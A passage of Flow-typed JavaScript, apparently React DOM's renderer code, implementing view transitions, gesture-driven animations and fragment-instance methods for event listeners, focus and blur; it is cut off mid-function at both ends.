blockingIndexSnapshot;\n                  break;\n                }\n                const loadingImage = new Promise(\n                  waitForImageToLoad.bind(suspenseyImage),\n                );\n                blockingPromises.push(loadingImage);\n              }\n            }\n          }\n        }\n        if (blockingPromises.length > 0) {\n          if (enableProfilerTimer) {\n            const blockedReason =\n              blockingIndexSnapshot > 0\n                ? blockingPromises.length > blockingIndexSnapshot\n                  ? 'Waiting on Fonts and Images'\n                  : 'Waiting on Fonts'\n                : 'Waiting on Images';\n            blockedCallback(blockedReason);\n          }\n          const blockingReady = Promise.race([\n            Promise.all(blockingPromises),\n            new Promise(resolve =>\n              setTimeout(resolve, SUSPENSEY_FONT_AND_IMAGE_TIMEOUT),\n            ),\n          ]).then(layoutCallback, layoutCallback);\n          const allReady = pendingNavigation\n            ? Promise.allSettled([pendingNavigation.finished, blockingReady])\n            : blockingReady;\n          return allReady.then(afterMutationCallback, afterMutationCallback);\n        }\n        layoutCallback();\n        if (pendingNavigation) {\n          return pendingNavigation.finished.then(\n            afterMutationCallback,\n            afterMutationCallback,\n          );\n        } else {\n          afterMutationCallback();\n        }\n      },\n      types: transitionTypes,\n    });\n    // $FlowFixMe[prop-missing]\n    ownerDocument.__reactViewTransition = transition;\n\n    const viewTransitionAnimations: Array<Animation> = [];\n\n    const readyCallback = () => {\n      const documentElement: Element = (ownerDocument.documentElement: any);\n      // Loop through all View Transition Animations.\n      // $FlowFixMe[prop-missing]\n      const animations = documentElement.getAnimations({subtree: true});\n      for (let i = 0; i < animations.length; i++) {\n        const animation = animations[i];\n        const effect: KeyframeEffect = (animation.effect: any);\n        // $FlowFixMe\n        const pseudoElement: ?string = effect.pseudoElement;\n        if (\n          pseudoElement != null &&\n          pseudoElement.startsWith('::view-transition')\n        ) {\n          viewTransitionAnimations.push(animation);\n          const keyframes = effect.getKeyframes();\n          // Next, we're going to try to optimize this animation in case the auto-generated\n          // width/height keyframes are unnecessary.\n          let width;\n          let height;\n          let unchangedDimensions = true;\n          for (let j = 0; j < keyframes.length; j++) {\n            const keyframe = keyframes[j];\n            const w = keyframe.width;\n            if (width === undefined) {\n              width = w;\n            } else if (width !== w) {\n              unchangedDimensions = false;\n              break;\n            }\n            const h = keyframe.height;\n            if (height === undefined) {\n              height = h;\n            } else if (height !== h) {\n              unchangedDimensions = false;\n              break;\n            }\n            // We're clearing the keyframes in case we are going to apply the optimization.\n            delete keyframe.width;\n            delete keyframe.height;\n            if (keyframe.transform === 'none') {\n              delete keyframe.transform;\n            }\n          }\n          if (\n            unchangedDimensions &&\n            width !== undefined &&\n            height !== undefined\n          ) {\n            // Replace the keyframes with ones that don't animate the width/height.\n            // $FlowFixMe\n            effect.setKeyframes(keyframes);\n            // Read back the new animation to see what the underlying width/height of the pseudo-element was.\n            const computedStyle = getComputedStyle(\n              // $FlowFixMe\n              effect.target,\n              // $FlowFixMe\n              effect.pseudoElement,\n            );\n            if (\n              computedStyle.width !== width ||\n              computedStyle.height !== height\n            ) {\n              // Oops. Turns out that the pseudo-element had a different width/height so we need to let it\n              // be overridden. Add it back.\n              const first = keyframes[0];\n              first.width = width;\n              first.height = height;\n              const last = keyframes[keyframes.length - 1];\n              last.width = width;\n              last.height = height;\n              // $FlowFixMe\n              effect.setKeyframes(keyframes);\n            }\n          }\n        }\n      }\n      spawnedWorkCallback();\n    };\n    const handleError = (error: mixed) => {\n      // $FlowFixMe[prop-missing]\n      if (ownerDocument.__reactViewTransition === transition) {\n        // $FlowFixMe[prop-missing]\n        ownerDocument.__reactViewTransition = null;\n      }\n      try {\n        error = customizeViewTransitionError(error, false);\n        if (error !== null) {\n          errorCallback(error);\n        }\n      } finally {\n        // Continue the reset of the work.\n        // If the error happened in the snapshot phase before the update callback\n        // was invoked, then we need to first finish the mutation and layout phases.\n        // If they're already invoked it's still safe to call them due the status check.\n        mutationCallback();\n        layoutCallback();\n        // Skip afterMutationCallback() since we're not animating.\n        spawnedWorkCallback();\n        if (enableProfilerTimer) {\n          finishedAnimation();\n        }\n      }\n    };\n    transition.ready.then(readyCallback, handleError);\n    transition.finished.finally(() => {\n      for (let i = 0; i < viewTransitionAnimations.length; i++) {\n        // In Safari, we need to manually cancel all manually started animations\n        // or it'll block or interfer with future transitions.\n        // We can't use getAnimations() due to #35336 so we collect them in an array.\n        viewTransitionAnimations[i].cancel();\n      }\n      // $FlowFixMe[prop-missing]\n      if (ownerDocument.__reactViewTransition === transition) {\n        // $FlowFixMe[prop-missing]\n        ownerDocument.__reactViewTransition = null;\n      }\n      if (enableProfilerTimer) {\n        finishedAnimation();\n      }\n      passiveCallback();\n    });\n    return transition;\n  } catch (x) {\n    // We use the error as feature detection.\n    // The only thing that should throw is if startViewTransition is missing\n    // or if it doesn't accept the object form. Other errors are async.\n    // I.e. it's before the View Transitions v2 spec. We only support View\n    // Transitions v2 otherwise we fallback to not animating to ensure that\n    // we're not animating with the wrong animation mapped.\n    // Flush remaining work synchronously.\n    mutationCallback();\n    layoutCallback();\n    // Skip afterMutationCallback(). We don't need it since we're not animating.\n    if (enableProfilerTimer) {\n      finishedAnimation();\n    }\n    spawnedWorkCallback();\n    // Skip passiveCallback(). Spawned work will schedule a task.\n    return null;\n  }\n}\n\nexport type RunningViewTransition = {\n  skipTransition(): void,\n  finished: Promise<void>,\n  ...\n};\n\nfunction mergeTranslate(translateA: ?string, translateB: ?string): string {\n  if (!translateA || translateA === 'none') {\n    return translateB || '';\n  }\n  if (!translateB || translateB === 'none') {\n    // $FlowFixMe[constant-condition]\n    return translateA || '';\n  }\n  const partsA = translateA.split(' ');\n  const partsB = translateB.split(' ');\n  let i;\n  let result = '';\n  for (i = 0; i < partsA.length && i < partsB.length; i++) {\n    if (i > 0) {\n      result += ' ';\n    }\n    result += 'calc(' + partsA[i] + ' + ' + partsB[i] + ')';\n  }\n  for (; i < partsA.length; i++) {\n    result += ' ' + partsA[i];\n  }\n  for (; i < partsB.length; i++) {\n    result += ' ' + partsB[i];\n  }\n  return result;\n}\n\nfunction animateGesture(\n  keyframes: any,\n  targetElement: Element,\n  pseudoElement: string,\n  timeline: GestureTimeline,\n  viewTransitionAnimations: Array<Animation>,\n  customTimelineCleanup: Array<() => void>,\n  rangeStart: number,\n  rangeEnd: number,\n  moveFirstFrameIntoViewport: boolean,\n  moveAllFramesIntoViewport: boolean,\n) {\n  let width;\n  let height;\n  let unchangedDimensions = true;\n  for (let i = 0; i < keyframes.length; i++) {\n    const keyframe = keyframes[i];\n    // Delete any easing since we always apply linear easing to gestures.\n    delete keyframe.easing;\n    delete keyframe.computedOffset;\n    const w = keyframe.width;\n    if (width === undefined) {\n      width = w;\n    } else if (width !== w) {\n      unchangedDimensions = false;\n    }\n    const h = keyframe.height;\n    if (height === undefined) {\n      height = h;\n    } else if (height !== h) {\n      unchangedDimensions = false;\n    }\n    // Chrome returns \"auto\" for width/height which is not a valid value to\n    // animate to. Similarly, transform: \"none\" is actually lack of transform.\n    if (keyframe.width === 'auto') {\n      delete keyframe.width;\n    }\n    if (keyframe.height === 'auto') {\n      delete keyframe.height;\n    }\n    if (keyframe.transform === 'none') {\n      delete keyframe.transform;\n    }\n    if (moveAllFramesIntoViewport) {\n      if (keyframe.transform == null) {\n        // If a transform is not explicitly specified to override the auto\n        // generated one on the pseudo element, then we need to adjust it to\n        // put it back into the viewport. We don't know the offset relative to\n        // the screen so instead we use the translate prop to do a relative\n        // adjustment.\n        // TODO: If the \"transform\" was manually overridden on the pseudo\n        // element itself and no longer the auto generated one, then we shouldn't\n        // adjust it. I'm not sure how to detect this.\n        if (keyframe.translate == null || keyframe.translate === '') {\n          // TODO: If there's a CSS rule targeting translate on the pseudo element\n          // already we need to merge it.\n          const elementTranslate: ?string = (getComputedStyle(\n            targetElement,\n            pseudoElement,\n          ): any).translate;\n          keyframe.translate = mergeTranslate(\n            elementTranslate,\n            '20000px 20000px',\n          );\n        } else {\n          keyframe.translate = mergeTranslate(\n            keyframe.translate,\n            '20000px 20000px',\n          );\n        }\n      }\n    }\n  }\n  if (moveFirstFrameIntoViewport) {\n    // If this is the generated animation that does a FLIP matrix translation\n    // from the old position, we need to adjust it from the out of viewport\n    // position. If this is going from old to new it only applies to first\n    // keyframe. Otherwise it applies to every keyframe.\n    moveOldFrameIntoViewport(keyframes[0]);\n  }\n  if (unchangedDimensions && width !== undefined && height !== undefined) {\n    // Read the underlying width/height of the pseudo-element. The previous animation\n    // should have already been cancelled so we should observe the underlying element.\n    const computedStyle = getComputedStyle(targetElement, pseudoElement);\n    if (computedStyle.width === width && computedStyle.height === height) {\n      for (let i = 0; i < keyframes.length; i++) {\n        const keyframe = keyframes[i];\n        delete keyframe.width;\n        delete keyframe.height;\n      }\n    }\n  }\n\n  // TODO: Reverse the reverse if the original direction is reverse.\n  const reverse = rangeStart > rangeEnd;\n  if (timeline instanceof AnimationTimeline) {\n    // Native Timeline\n    // $FlowFixMe[incompatible-call]\n    const animation = targetElement.animate(keyframes, {\n      pseudoElement: pseudoElement,\n      // Set the timeline to the current gesture timeline to drive the updates.\n      timeline: timeline,\n      // We reset all easing functions to linear so that it feels like you\n      // have direct impact on the transition and to avoid double bouncing\n      // from scroll bouncing.\n      easing: 'linear',\n      // We fill in both direction for overscroll.\n      fill: 'both', // TODO: Should we preserve the fill instead?\n      // We play all gestures in reverse, except if we're in reverse direction\n      // in which case we need to play it in reverse of the reverse.\n      direction: reverse ? 'normal' : 'reverse',\n      // Range start needs to be higher than range end. If it goes in reverse\n      // we reverse the whole animation below.\n      rangeStart: (reverse ? rangeEnd : rangeStart) + '%',\n      rangeEnd: (reverse ? rangeStart : rangeEnd) + '%',\n    });\n    viewTransitionAnimations.push(animation);\n  } else {\n    // Custom Timeline\n    // $FlowFixMe[incompatible-call]\n    const animation = targetElement.animate(keyframes, {\n      pseudoElement: pseudoElement,\n      // We reset all easing functions to linear so that it feels like you\n      // have direct impact on the transition and to avoid double bouncing\n      // from scroll bouncing.\n      easing: 'linear',\n      // We fill in both direction for overscroll.\n      fill: 'both', // TODO: Should we preserve the fill instead?\n      // We play all gestures in reverse, except if we're in reverse direction\n      // in which case we need to play it in reverse of the reverse.\n      direction: reverse ? 'normal' : 'reverse',\n      // We set the delay and duration to represent the span of the range.\n      delay: reverse ? rangeEnd : rangeStart,\n      duration: reverse ? rangeStart - rangeEnd : rangeEnd - rangeStart,\n    });\n    viewTransitionAnimations.push(animation);\n    // Let the custom timeline take control of driving the animation.\n    const cleanup = timeline.animate(animation);\n    if (cleanup) {\n      customTimelineCleanup.push(cleanup);\n    }\n  }\n}\n\nexport function startGestureTransition(\n  suspendedState: null | SuspendedState,\n  rootContainer: Container,\n  timeline: GestureTimeline,\n  rangeStart: number,\n  rangeEnd: number,\n  transitionTypes: null | TransitionTypes,\n  mutationCallback: () => void,\n  animateCallback: () => void,\n  errorCallback: mixed => void,\n  finishedAnimation: () => void, // Profiling-only\n): null | RunningViewTransition {\n  const ownerDocument: Document =\n    rootContainer.nodeType === DOCUMENT_NODE\n      ? (rootContainer: any)\n      : rootContainer.ownerDocument;\n  try {\n    // Force layout before we start the Transition. This works around a bug in Safari\n    // if one of the clones end up being a stylesheet that isn't loaded or uncached.\n    // https://bugs.webkit.org/show_bug.cgi?id=290146\n    forceLayout(ownerDocument);\n    // $FlowFixMe[prop-missing]\n    const transition = ownerDocument.startViewTransition({\n      update: mutationCallback,\n      types: transitionTypes,\n    });\n    // $FlowFixMe[prop-missing]\n    ownerDocument.__reactViewTransition = transition;\n    const customTimelineCleanup: Array<() => void> = []; // Cleanup Animations started in a CustomTimeline\n    const viewTransitionAnimations: Array<Animation> = [];\n    const readyCallback = () => {\n      const documentElement: Element = (ownerDocument.documentElement: any);\n      // Loop through all View Transition Animations.\n      // $FlowFixMe[prop-missing]\n      const animations = documentElement.getAnimations({subtree: true});\n      // First do a pass to collect all known group and new items so we can look\n      // up if they exist later.\n      const foundGroups: Set<string> = new Set();\n      const foundNews: Set<string> = new Set();\n      // Collect the longest duration of any view-transition animation including delay.\n      let longestDuration = 0;\n      for (let i = 0; i < animations.length; i++) {\n        const effect: KeyframeEffect = (animations[i].effect: any);\n        // $FlowFixMe\n        const pseudoElement: ?string = effect.pseudoElement;\n        if (pseudoElement == null) {\n        } else if (\n          pseudoElement.startsWith('::view-transition') &&\n          effect.target === documentElement\n        ) {\n          const timing = effect.getTiming();\n          const duration =\n            // $FlowFixMe[prop-missing]\n            typeof timing.duration === 'number' ? timing.duration : 0;\n          // TODO: Consider interation count higher than 1.\n          // $FlowFixMe[prop-missing]\n          // $FlowFixMe[unsafe-addition]\n          const durationWithDelay = timing.delay + duration;\n          if (durationWithDelay > longestDuration) {\n            longestDuration = durationWithDelay;\n          }\n          if (pseudoElement.startsWith('::view-transition-group')) {\n            foundGroups.add(pseudoElement.slice(23));\n          } else if (pseudoElement.startsWith('::view-transition-new')) {\n            // TODO: This is not really a sufficient detection because if the new\n            // pseudo element might exist but have animations disabled on it.\n            foundNews.add(pseudoElement.slice(21));\n          }\n        }\n      }\n      const durationToRangeMultipler =\n        (rangeEnd - rangeStart) / longestDuration;\n      for (let i = 0; i < animations.length; i++) {\n        const anim = animations[i];\n        if (anim.playState !== 'running') {\n          continue;\n        }\n        const effect: KeyframeEffect = (anim.effect: any);\n        // $FlowFixMe\n        const pseudoElement: ?string = effect.pseudoElement;\n        if (\n          pseudoElement != null &&\n          pseudoElement.startsWith('::view-transition') &&\n          effect.target === documentElement\n        ) {\n          // Ideally we could mutate the existing animation but unfortunately\n          // the mutable APIs seem less tested and therefore are lacking or buggy.\n          // Therefore we create a new animation instead.\n          anim.cancel();\n          let isGeneratedGroupAnim = false;\n          let isExitGroupAnim = false;\n          if (pseudoElement.startsWith('::view-transition-group')) {\n            const groupName = pseudoElement.slice(23);\n            if (foundNews.has(groupName)) {\n              // If this has both \"new\" and \"old\" state we expect this to be an auto-generated\n              // animation that started outside the viewport. We need to adjust this first frame\n              // to be inside the viewport.\n              // $FlowFixMe[prop-missing]\n              const animationName: ?string = anim.animationName;\n              isGeneratedGroupAnim =\n                animationName != null &&\n                // $FlowFixMe[prop-missing]\n                animationName.startsWith('-ua-view-transition-group-anim-');\n            } else {\n              // If this has only an \"old\" state then the pseudo element will be outside\n              // the viewport. If any keyframes don't override \"transform\" we need to\n              // adjust them.\n              isExitGroupAnim = true;\n            }\n            // TODO: If this has only an old state and no new state,\n          }\n          // Adjust the range based on how long the animation would've ran as time based.\n          // Since we're running animations in reverse from how they normally would run,\n          // therefore the timing is from the rangeEnd to the start.\n          const timing = effect.getTiming();\n          const duration =\n            // $FlowFixMe[prop-missing]\n            typeof timing.duration === 'number' ? timing.duration : 0;\n          let adjustedRangeStart =\n            // $FlowFixMe[unsafe-addition]\n            // $FlowFixMe[prop-missing]\n            rangeEnd - (duration + timing.delay) * durationToRangeMultipler;\n          let adjustedRangeEnd =\n            rangeEnd -\n            // $FlowFixMe[prop-missing]\n            // $FlowFixMe[unsafe-arithmetic]\n            timing.delay * durationToRangeMultipler;\n          if (\n            timing.direction === 'reverse' ||\n            timing.direction === 'alternate-reverse'\n          ) {\n            // This animation was originally in reverse so we have to play it in flipped range.\n            const temp = adjustedRangeStart;\n            adjustedRangeStart = adjustedRangeEnd;\n            adjustedRangeEnd = temp;\n          }\n          animateGesture(\n            effect.getKeyframes(),\n            // $FlowFixMe: Always documentElement atm.\n            effect.target,\n            pseudoElement,\n            timeline,\n            viewTransitionAnimations,\n            customTimelineCleanup,\n            adjustedRangeStart,\n            adjustedRangeEnd,\n            isGeneratedGroupAnim,\n            isExitGroupAnim,\n          );\n          if (pseudoElement.startsWith('::view-transition-old')) {\n            const groupName = pseudoElement.slice(21);\n            if (!foundGroups.has(groupName) && !foundNews.has(groupName)) {\n              foundGroups.add(groupName);\n              // We haven't seen any group animation with this name. Since the old\n              // state was outside the viewport we need to put it back. Since we\n              // can't programmatically target the element itself, we use an\n              // animation to adjust it.\n              // This usually happens for exit animations where the element has\n              // the old position.\n              // If we also have a \"new\" state then we skip this because it means\n              // someone manually disabled the auto-generated animation. We need to\n              // treat the old state as having the position of the \"new\" state which\n              // will happen by default.\n              const pseudoElementName = '::view-transition-group' + groupName;\n              animateGesture(\n                [{}, {}],\n                // $FlowFixMe: Always documentElement atm.\n                effect.target,\n                pseudoElementName,\n                timeline,\n                viewTransitionAnimations,\n                customTimelineCleanup,\n                rangeStart,\n                rangeEnd,\n                false,\n                true, // We let the helper apply the translate\n              );\n            }\n          }\n        }\n      }\n      // View Transitions with ScrollTimeline has a quirk where they end if the\n      // ScrollTimeline ever reaches 100% but that doesn't mean we're done because\n      // you can swipe back again. We can prevent this by adding a paused Animation\n      // that never stops. This seems to keep all running Animations alive until\n      // we explicitly abort (or something forces the View Transition to cancel).\n      // $FlowFixMe[incompatible-call]\n      const blockingAnim = documentElement.animate([{}, {}], {\n        pseudoElement: '::view-transition',\n        duration: 1,\n      });\n      blockingAnim.pause();\n      viewTransitionAnimations.push(blockingAnim);\n      animateCallback();\n    };\n    // In Chrome, \"new\" animations are not ready in the ready callback. We have to wait\n    // until requestAnimationFrame before we can observe them through getAnimations().\n    // However, in Safari, that would cause a flicker because we're applying them late.\n    // TODO: Think of a feature detection for this instead.\n    const readyForAnimations =\n      navigator.userAgent.indexOf('Chrome') !== -1\n        ? () => requestAnimationFrame(readyCallback)\n        : readyCallback;\n    const handleError = (error: mixed) => {\n      // $FlowFixMe[prop-missing]\n      if (ownerDocument.__reactViewTransition === transition) {\n        // $FlowFixMe[prop-missing]\n        ownerDocument.__reactViewTransition = null;\n      }\n      try {\n        error = customizeViewTransitionError(error, true);\n        if (error !== null) {\n          errorCallback(error);\n        }\n      } finally {\n        // Continue the reset of the work.\n        // If the error happened in the snapshot phase before the update callback\n        // was invoked, then we need to first finish the mutation and layout phases.\n        // If they're already invoked it's still safe to call them due the status check.\n        mutationCallback();\n        // Skip readyCallback() and go straight to animateCallbck() since we're not animating.\n        // animateCallback() is still required to restore states.\n        animateCallback();\n        if (enableProfilerTimer) {\n          finishedAnimation();\n        }\n      }\n    };\n    transition.ready.then(readyForAnimations, handleError);\n    transition.finished.finally(() => {\n      for (let i = 0; i < viewTransitionAnimations.length; i++) {\n        // In Safari, we need to manually cancel all manually started animations\n        // or it'll block or interfer with future transitions.\n        // We can't use getAnimations() due to #35336 so we collect them in an array.\n        viewTransitionAnimations[i].cancel();\n      }\n      for (let i = 0; i < customTimelineCleanup.length; i++) {\n        const cleanup = customTimelineCleanup[i];\n        cleanup();\n      }\n      // $FlowFixMe[prop-missing]\n      if (ownerDocument.__reactViewTransition === transition) {\n        // $FlowFixMe[prop-missing]\n        ownerDocument.__reactViewTransition = null;\n      }\n      if (enableProfilerTimer) {\n        // Signal that the Transition was unable to continue. We do that here\n        // instead of when we stop the running View Transition to ensure that\n        // we cover cases when something else stops it early.\n        finishedAnimation();\n      }\n    });\n    return transition;\n  } catch (x) {\n    // We use the error as feature detection.\n    // The only thing that should throw is if startViewTransition is missing\n    // or if it doesn't accept the object form. Other errors are async.\n    // I.e. it's before the View Transitions v2 spec. We only support View\n    // Transitions v2 otherwise we fallback to not animating to ensure that\n    // we're not animating with the wrong animation mapped.\n    // Run through the sequence to put state back into a consistent state.\n    mutationCallback();\n    animateCallback();\n    if (enableProfilerTimer) {\n      finishedAnimation();\n    }\n    return null;\n  }\n}\n\nexport function stopViewTransition(transition: RunningViewTransition) {\n  transition.skipTransition();\n}\n\nexport function addViewTransitionFinishedListener(\n  transition: RunningViewTransition,\n  callback: () => void,\n) {\n  transition.finished.finally(callback);\n}\n\ninterface ViewTransitionPseudoElementType extends mixin$Animatable {\n  _scope: HTMLElement;\n  _selector: string;\n  getComputedStyle(): CSSStyleDeclaration;\n}\n\nfunction ViewTransitionPseudoElement(\n  this: ViewTransitionPseudoElementType,\n  pseudo: string,\n  name: string,\n) {\n  // TODO: Get the owner document from the root container.\n  this._scope = (document.documentElement: any);\n  this._selector = '::view-transition-' + pseudo + '(' + name + ')';\n}\n// $FlowFixMe[prop-missing]\nViewTransitionPseudoElement.prototype.animate = function (\n  this: ViewTransitionPseudoElementType,\n  keyframes: Keyframe[] | PropertyIndexedKeyframes | null,\n  options?: number | KeyframeAnimationOptions,\n): Animation {\n  const opts: any =\n    typeof options === 'number'\n      ? {\n          duration: options,\n        }\n      : Object.assign(\n          (// $FlowFixMe[prop-missing]\n          {}: KeyframeAnimationOptions),\n          options,\n        );\n  opts.pseudoElement = this._selector;\n  // TODO: Handle multiple child instances.\n  return this._scope.animate(keyframes, opts);\n};\n// $FlowFixMe[prop-missing]\nViewTransitionPseudoElement.prototype.getAnimations = function (\n  this: ViewTransitionPseudoElementType,\n  options?: GetAnimationsOptions,\n): Animation[] {\n  const scope = this._scope;\n  const selector = this._selector;\n  const animations = scope.getAnimations(\n    // $FlowFixMe[prop-missing]\n    {subtree: true},\n  );\n  const result = [];\n  for (let i = 0; i < animations.length; i++) {\n    const effect: null | {\n      target?: Element,\n      pseudoElement?: string,\n      ...\n    } = (animations[i].effect: any);\n    // TODO: Handle multiple child instances.\n    if (\n      effect !== null &&\n      effect.target === scope &&\n      effect.pseudoElement === selector\n    ) {\n      result.push(animations[i]);\n    }\n  }\n  return result;\n};\n// $FlowFixMe[prop-missing]\nViewTransitionPseudoElement.prototype.getComputedStyle = function (\n  this: ViewTransitionPseudoElementType,\n): CSSStyleDeclaration {\n  const scope = this._scope;\n  const selector = this._selector;\n  return getComputedStyle(scope, selector);\n};\n\nexport function createViewTransitionInstance(\n  name: string,\n): ViewTransitionInstance {\n  return {\n    name: name,\n    group: new (ViewTransitionPseudoElement: any)('group', name),\n    imagePair: new (ViewTransitionPseudoElement: any)('image-pair', name),\n    old: new (ViewTransitionPseudoElement: any)('old', name),\n    new: new (ViewTransitionPseudoElement: any)('new', name),\n  };\n}\n\ninterface CustomTimeline {\n  currentTime: number;\n  animate(animation: Animation): void | (() => void);\n}\n\nexport type GestureTimeline = AnimationTimeline | CustomTimeline;\n\nexport function getCurrentGestureOffset(timeline: GestureTimeline): number {\n  const time = timeline.currentTime;\n  if (time === null) {\n    throw new Error(\n      'Cannot start a gesture with a disconnected AnimationTimeline.',\n    );\n  }\n  return typeof time === 'number' ? time : time.value;\n}\n\ntype StoredEventListener = {\n  type: string,\n  listener: EventListener,\n  optionsOrUseCapture: void | EventListenerOptionsOrUseCapture,\n};\n\nexport type FragmentInstanceType = {\n  _fragmentFiber: Fiber,\n  _eventListeners: null | Array<StoredEventListener>,\n  _observers: null | Set<IntersectionObserver | ResizeObserver>,\n  addEventListener(\n    type: string,\n    listener: EventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture,\n  ): void,\n  removeEventListener(\n    type: string,\n    listener: EventListener,\n    optionsOrUseCapture?: EventListenerOptionsOrUseCapture,\n  ): void,\n  dispatchEvent(event: Event): boolean,\n  focus(focusOptions?: FocusOptions): void,\n  focusLast(focusOptions?: FocusOptions): void,\n  blur(): void,\n  observeUsing(observer: IntersectionObserver | ResizeObserver): void,\n  unobserveUsing(observer: IntersectionObserver | ResizeObserver): void,\n  getClientRects(): Array<DOMRect>,\n  getRootNode(getRootNodeOptions?: {\n    composed: boolean,\n  }): Document | ShadowRoot | FragmentInstanceType,\n  compareDocumentPosition(otherNode: Instance): number,\n  scrollIntoView(alignToTop?: boolean): void,\n};\n\nfunction FragmentInstance(this: FragmentInstanceType, fragmentFiber: Fiber) {\n  this._fragmentFiber = fragmentFiber;\n  this._eventListeners = null;\n  this._observers = null;\n}\n\n// $FlowFixMe[prop-missing]\nFragmentInstance.prototype.addEventListener = function (\n  this: FragmentInstanceType,\n  type: string,\n  listener: EventListener,\n  optionsOrUseCapture?: EventListenerOptionsOrUseCapture,\n): void {\n  if (this._eventListeners === null) {\n    this._eventListeners = [];\n  }\n\n  const listeners = this._eventListeners;\n  // Element.addEventListener will only apply uniquely new event listeners by default. Since we\n  // need to collect the listeners to apply to appended children, we track them ourselves and use\n  // custom equality check for the options.\n  const isNewEventListener =\n    indexOfEventListener(listeners, type, listener, optionsOrUseCapture) === -1;\n  if (isNewEventListener) {\n    listeners.push({type, listener, optionsOrUseCapture});\n    traverseFragmentInstance(\n      this._fragmentFiber,\n      addEventListenerToChild,\n      type,\n      listener,\n      optionsOrUseCapture,\n    );\n  }\n  this._eventListeners = listeners;\n};\nfunction addEventListenerToChild(\n  child: Fiber,\n  type: string,\n  listener: EventListener,\n  optionsOrUseCapture?: EventListenerOptionsOrUseCapture,\n): boolean {\n  const instance = getInstanceFromHostFiber<Instance>(child);\n  instance.addEventListener(type, listener, optionsOrUseCapture);\n  return false;\n}\n// $FlowFixMe[prop-missing]\nFragmentInstance.prototype.removeEventListener = function (\n  this: FragmentInstanceType,\n  type: string,\n  listener: EventListener,\n  optionsOrUseCapture?: EventListenerOptionsOrUseCapture,\n): void {\n  const listeners = this._eventListeners;\n  if (listeners === null) {\n    return;\n  }\n  if (typeof listeners !== 'undefined' && listeners.length > 0) {\n    traverseFragmentInstance(\n      this._fragmentFiber,\n      removeEventListenerFromChild,\n      type,\n      listener,\n      optionsOrUseCapture,\n    );\n    const index = indexOfEventListener(\n      listeners,\n      type,\n      listener,\n      optionsOrUseCapture,\n    );\n    if (this._eventListeners !== null) {\n      this._eventListeners.splice(index, 1);\n    }\n  }\n};\nfunction removeEventListenerFromChild(\n  child: Fiber,\n  type: string,\n  listener: EventListener,\n  optionsOrUseCapture?: EventListenerOptionsOrUseCapture,\n): boolean {\n  const instance = getInstanceFromHostFiber<Instance>(child);\n  instance.removeEventListener(type, listener, optionsOrUseCapture);\n  return false;\n}\nfunction normalizeListenerOptions(\n  opts: ?EventListenerOptionsOrUseCapture,\n): string {\n  if (opts == null) {\n    return '0';\n  }\n\n  if (typeof opts === 'boolean') {\n    return `c=${opts ? '1' : '0'}`;\n  }\n\n  return `c=${opts.capture ? '1' : '0'}&o=${opts.once ? '1' : '0'}&p=${opts.passive ? '1' : '0'}`;\n}\nfunction indexOfEventListener(\n  eventListeners: Array<StoredEventListener>,\n  type: string,\n  listener: EventListener,\n  optionsOrUseCapture: void | EventListenerOptionsOrUseCapture,\n): number {\n  if (eventListeners.length === 0) {\n    return -1;\n  }\n  const normalizedOptions = normalizeListenerOptions(optionsOrUseCapture);\n  for (let i = 0; i < eventListeners.length; i++) {\n    const item = eventListeners[i];\n    if (\n      item.type === type &&\n      item.listener === listener &&\n      normalizeListenerOptions(item.optionsOrUseCapture) === normalizedOptions\n    ) {\n      return i;\n    }\n  }\n  return -1;\n}\n// $FlowFixMe[prop-missing]\nFragmentInstance.prototype.dispatchEvent = function (\n  this: FragmentInstanceType,\n  event: Event,\n): boolean {\n  const parentHostFiber = getFragmentParentHostFiber(this._fragmentFiber);\n  if (parentHostFiber === null) {\n    return true;\n  }\n  const parentHostInstance =\n    getInstanceFromHostFiber<Instance>(parentHostFiber);\n  const eventListeners = this._eventListeners;\n  if (\n    (eventListeners !== null && eventListeners.length > 0) ||\n    !event.bubbles\n  ) {\n    const temp = document.createTextNode('');\n    if (eventListeners) {\n      for (let i = 0; i < eventListeners.length; i++) {\n        const {type, listener, optionsOrUseCapture} = eventListeners[i];\n        temp.addEventListener(type, listener, optionsOrUseCapture);\n      }\n    }\n    parentHostInstance.appendChild(temp);\n    const cancelable = temp.dispatchEvent(event);\n    if (eventListeners) {\n      for (let i = 0; i < eventListeners.length; i++) {\n        const {type, listener, optionsOrUseCapture} = eventListeners[i];\n        temp.removeEventListener(type, listener, optionsOrUseCapture);\n      }\n    }\n    parentHostInstance.removeChild(temp);\n    return cancelable;\n  } else {\n    return parentHostInstance.dispatchEvent(event);\n  }\n};\n// $FlowFixMe[prop-missing]\nFragmentInstance.prototype.focus = function (\n  this: FragmentInstanceType,\n  focusOptions?: FocusOptions,\n): void {\n  traverseFragmentInstanceDeeply(\n    this._fragmentFiber,\n    setFocusOnFiberIfFocusable,\n    focusOptions,\n  );\n};\nfunction setFocusOnFiberIfFocusable(\n  fiber: Fiber,\n  focusOptions?: FocusOptions,\n): boolean {\n  if (enableFragmentRefsTextNodes) {\n    // Skip text nodes - they are not focusable\n    if (fiber.tag === HostText) {\n      return false;\n    }\n  }\n  const instance = getInstanceFromHostFiber<Instance>(fiber);\n  return setFocusIfFocusable(instance, focusOptions);\n}\n// $FlowFixMe[prop-missing]\nFragmentInstance.prototype.focusLast = function (\n  this: FragmentInstanceType,\n  focusOptions?: FocusOptions,\n): void {\n  const children: Array<Fiber> = [];\n  traverseFragmentInstanceDeeply(\n    this._fragmentFiber,\n    collectChildren,\n    children,\n  );\n  for (let i = children.length - 1; i >= 0; i--) {\n    const child = children[i];\n    if (setFocusOnFiberIfFocusable(child, focusOptions)) {\n      break;\n    }\n  }\n};\nfunction collectChildren(child: Fiber, collection: Array<Fiber>): boolean {\n  collection.push(child);\n  return false;\n}\n// $FlowFixMe[prop-missing]\nFragmentInstance.prototype.blur = function (this: FragmentInstanceType): void {\n  // Early exit if activeElement is not within the fragment's parent\n  const parentHostFiber = getFragmentParentHostFiber(this._fragmentFiber);\n  if (parentHostFiber === null) {\n    return;\n  }\n  const parentHostInstance =\n    getInstanceFromHostFiber<Instance>(parentHostFiber);\n  const activeElement = parentHostInstance.ownerDocument.activeElement;\n  if (activeElement === null || !parentHostInstance.contains(activeElement)) {\n    return;\n  }\n\n  traverseFragmentInstance(\n    this._fragmentFiber,\n    blurActiveElementWithinFragment,\n    activeElement,\n  );\n};\nfunction blurActiveElementWithinFragment(\n  child: Fiber,\n  activeElement: Element,\n): boolean {\n  // Skip text nodes - they can't be focused\n  if (enableFragmentRefsTextNodes && child.tag === HostText) {\n    return false;\n  }\n  const instance = getInstanceFromHostFiber<Instance>(child);\n  if (instance === activeElement) 